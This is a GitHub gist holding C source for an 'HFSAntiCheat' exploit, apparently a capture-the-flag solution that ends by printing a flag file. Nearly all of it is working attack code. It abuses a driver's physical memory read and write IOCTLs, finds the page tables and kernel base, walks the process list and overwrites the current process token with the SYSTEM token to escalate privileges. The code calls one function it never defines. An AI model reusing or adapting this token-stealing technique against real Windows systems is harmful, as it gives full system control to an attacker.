Skip to content

Instantly share code, notes, and snippets.

@likvidera
Created December 8, 2023 09:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save likvidera/5985ee42ce0cd751911cc82276c43fa8 to your computer and use it in GitHub Desktop.
Save likvidera/5985ee42ce0cd751911cc82276c43fa8 to your computer and use it in GitHub Desktop.
HFSAntiCheat Exploit
#include <stdio.h>
#include <windows.h>
#define DTB_MAGIC 0x00000001000600E9
#define DTB_OFFSET 0x0
#define KENTRY_VA 0xfffff80000000000
#define KENTRY_OFFSET 0x070
#define PML4_OFFSET 0x0a0
#define ADDR_1MB_START 0x1000
#define ADDR_1MB_END 0x9f000
#define PAGE_SIZE 0x1000
#define PQWORD PDWORD64
#define QWORD DWORD64
#define IOCTL_READ_PHYSMEM \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80001, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_WRITE_PHYSMEM \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80002, METHOD_BUFFERED, FILE_ANY_ACCESS)
typedef struct _IOCTL_STRUCT {
SIZE_T bufferLen;
ULONG_PTR buffer;
ULONG_PTR addr;
} IOCTL_STRUCT, *PIOCTL_STRUCT;
#define PT_INDEX(va, level) ((va >> (12 + 9 * level)) & 0x1FF)
typedef enum {
PT_LEVEL_PTE = 0,
PT_LEVEL_PDE = 1,
PT_LEVEL_PPE = 2,
PT_LEVEL_PXE = 3,
} PageTableLevel;
void print_hex(const unsigned char *data, size_t length) {
for (size_t i = 0; i < length; i++) {
printf("%02X ", data[i]);
}
printf("\n");
}
typedef BOOL(WINAPI *READFILE)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
BOOLEAN readFlagFile(LPVOID buffer, DWORD bufferLen) {
HMODULE hModule = GetModuleHandleA("kernel32.dll");
if (hModule == NULL) {
return FALSE;
}
READFILE pReadFile = (READFILE)GetProcAddress(hModule, "ReadFile");
if (pReadFile == NULL) {
return FALSE;
}
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\flag.txt", GENERIC_READ, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
DWORD bytesRead;
BOOLEAN result = pReadFile(hFile, buffer, bufferLen, &bytesRead, NULL);
CloseHandle(hFile);
return result;
}
HANDLE openDevice() {
return CreateFileA("\\\\.\\HFSAntiCheat", GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
}
BOOLEAN readPhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) {
DWORD bytesReturned = 0;
IOCTL_STRUCT ioctlStruct = {0};
ioctlStruct.bufferLen = buflen;
ioctlStruct.buffer = (ULONG_PTR)buf;
ioctlStruct.addr = addr;
return DeviceIoControl(hDevice, IOCTL_READ_PHYSMEM, &ioctlStruct,
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct),
&bytesReturned, NULL);
}
BOOLEAN writePhysMem(HANDLE hDevice, ULONG_PTR addr, PVOID buf, SIZE_T buflen) {
DWORD bytesReturned;
IOCTL_STRUCT ioctlStruct = {0};
ioctlStruct.bufferLen = buflen;
ioctlStruct.buffer = (ULONG_PTR)buf;
ioctlStruct.addr = addr;
return DeviceIoControl(hDevice, IOCTL_WRITE_PHYSMEM, &ioctlStruct,
sizeof(ioctlStruct), &ioctlStruct, sizeof(ioctlStruct),
&bytesReturned, NULL);
}
QWORD readPT(HANDLE hDevice, PQWORD ptBase, size_t ptIndex) {
QWORD value = 0;
QWORD addr = ((QWORD)ptBase & 0x00FFFFFFFFFFF000) + (ptIndex * sizeof(QWORD));
if (!readPhysMem(hDevice, addr, (PVOID)&value, sizeof(PVOID))) {
return 0;
}
return value;
}
QWORD VTOP(HANDLE hDevice, QWORD pml4Base, QWORD virtualAddr) {
if (pml4Base == 0 || virtualAddr == 0) {
return 0;
}
PQWORD pxeBase = (PQWORD)(pml4Base & 0xFFFFFFFFFFFFF000);
QWORD ppeEntry =
readPT(hDevice, pxeBase, PT_INDEX(virtualAddr, PT_LEVEL_PXE));
PQWORD ppeBase = (PQWORD)(ppeEntry & 0xFFFFFFFFFFFFF000);
QWORD pdeEntry =
readPT(hDevice, ppeBase, PT_INDEX(virtualAddr, PT_LEVEL_PPE));
PQWORD pdeBase = (PQWORD)(pdeEntry & 0xFFFFFFFFFFFFF000);
if (pdeEntry & (1ULL << 7)) {
return (pdeEntry & 0x00FFFC0000000) | (virtualAddr & 0x3FFFFFFF);
}
QWORD ptEntry = readPT(hDevice, pdeBase, PT_INDEX(virtualAddr, PT_LEVEL_PDE));
PQWORD ptBase = (PQWORD)(ptEntry & 0xFFFFFFFFFFFFF000);
if (ptEntry & (1ULL << 7)) {
return (ptEntry & 0x00FFFFFE00000) | (virtualAddr & 0x1FFFFF);
}
QWORD pteEntry = readPT(hDevice, ptBase, PT_INDEX(virtualAddr, PT_LEVEL_PTE));
return (pteEntry & 0x00FFFFFFFFFFF000) | (virtualAddr & 0xFFF);
}
BOOL readVirtualMem(HANDLE hDevice, QWORD pml4, QWORD addr, PVOID data,
SIZE_T len) {
QWORD paddr = 0;
if ((paddr = VTOP(hDevice, pml4, addr)) == 0) {
printf("Failed to get physical address for %p\n", (PVOID)addr);
return FALSE;
}
if (!readPhysMem(hDevice, paddr, data, len)) {
return FALSE;
}
return TRUE;
}
BOOL writeVirtualMem(HANDLE hDevice, QWORD pml4, QWORD addr, PVOID data,
SIZE_T len) {
QWORD paddr = 0;
if ((paddr = VTOP(hDevice, pml4, addr)) == 0) {
printf("Failed to get physical address for %p\n", (PVOID)addr);
return FALSE;
}
return writePhysMem(hDevice, paddr, data, len);
}
QWORD FindPML4(PVOID page, PQWORD HalpLMStub) {
QWORD directoryTable = 0x0;
if (DTB_MAGIC == (0xffffffffffff00ff & *(PQWORD)(page + DTB_OFFSET)) &&
KENTRY_VA == (0xfffff80000000003 & *(PQWORD)(page + KENTRY_OFFSET)) &&
!(0xffffff0000000fff & *(PQWORD)(page + PML4_OFFSET))) {
*HalpLMStub = *(PQWORD)(page + KENTRY_OFFSET);
directoryTable = *(PQWORD)(page + PML4_OFFSET);
}
return directoryTable;
}
QWORD GetDirectoryTableBase(HANDLE hDevice, PQWORD HalpLMStub) {
QWORD pml4Base = 0x0;
PVOID page = calloc(PAGE_SIZE, 1);
for (QWORD addr = ADDR_1MB_START; addr <= ADDR_1MB_END; addr += PAGE_SIZE) {
if (!readPhysMem(hDevice, addr, page, PAGE_SIZE)) {
continue;
}
if ((pml4Base = FindPML4(page, HalpLMStub)) != 0) {
printf("Found pml4 at: %p\n", addr);
break;
}
}
free(page);
return pml4Base;
}
int main() {
char buffer[256] = {0};
QWORD pml4 = 0;
HANDLE hDevice = NULL;
QWORD HalpLMStub = 0x0;
QWORD KernelBase = 0x0;
QWORD PsInitialSystemProcess = 0x0;
QWORD HalpLMStubOffset = 0x3f7ee0;
QWORD PsInitialSystemProcessOffset = 0xcfc420;
QWORD TokenOffset = 0x4B8;
QWORD PIDOffset = 0x440;
QWORD ActiveProcessLinksOffset =
0x448;
DWORD SystemPID = 0;
QWORD SystemToken = 0x0;
DWORD currentPID = GetCurrentProcessId();
QWORD nextEPROCESS = 0x0;
do {
printf("\nExploit running!\n");
if ((hDevice = openDevice()) == INVALID_HANDLE_VALUE) {
printf("Failed to open the device!\n");
break;
}
if ((pml4 = GetDirectoryTableBase(hDevice, &HalpLMStub)) == 0) {
printf("Failed to find DirectoryTableBase\n");
break;
}
printf("Current user: %s\n", GetUserNameOfCurrentProcessToken());
printf("HalpLMStub: %p\n", (PVOID)HalpLMStub);
printf("directoryTable: %p\n", (PVOID)pml4);
KernelBase = HalpLMStub - HalpLMStubOffset;
PsInitialSystemProcessOffset += KernelBase;
printf("KernelBase: %p\n", (PVOID)KernelBase);
printf("KernelBaseDump: ");
PVOID mem = malloc(20);
readVirtualMem(hDevice, pml4, KernelBase, mem, 20);
print_hex(mem, 20);
free(mem);
readVirtualMem(hDevice, pml4, PsInitialSystemProcessOffset,
(PVOID)&PsInitialSystemProcess, sizeof(QWORD));
printf("PsInitialSystemProcess: %p\n", (PVOID)PsInitialSystemProcess);
readVirtualMem(hDevice, pml4, PsInitialSystemProcess + PIDOffset,
(PVOID)&SystemPID, sizeof(DWORD));
if (SystemPID != 4) {
printf("Unexpected SystemPID for PsInitialSystemProcess .. bailing\n");
break;
}
readVirtualMem(hDevice, pml4, PsInitialSystemProcess + TokenOffset,
(PVOID)&SystemToken, sizeof(QWORD));
printf("SystemToken: %p\n", (PVOID)SystemToken);
LIST_ENTRY activeProcessLinkList = {0};
nextEPROCESS = PsInitialSystemProcess;
do {
if (!readVirtualMem(hDevice, pml4,
nextEPROCESS + ActiveProcessLinksOffset,
(PVOID)&activeProcessLinkList, sizeof(LIST_ENTRY))) {
break;
}
if (activeProcessLinkList.Blink == 0) {
printf("Failed to find the next EPROCESS\n");
break;
}
nextEPROCESS =
(QWORD)(char *)activeProcessLinkList.Blink - ActiveProcessLinksOffset;
if (nextEPROCESS == 0 || nextEPROCESS == PsInitialSystemProcess) {
printf("Failed to find target process\n");
break;
}
if (!readVirtualMem(hDevice, pml4, nextEPROCESS + PIDOffset,
(PVOID)&SystemPID, sizeof(DWORD))) {
break;
}
if (SystemPID == currentPID) {
printf("Found target process!\n");
writeVirtualMem(hDevice, pml4, nextEPROCESS + TokenOffset, &SystemToken,
sizeof(QWORD));
break;
}
} while (1);
if (readFlagFile(buffer, sizeof(buffer))) {
printf("Flag: %s\n", buffer);
}
break;
} while (1);
if (hDevice)
CloseHandle(hDevice);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment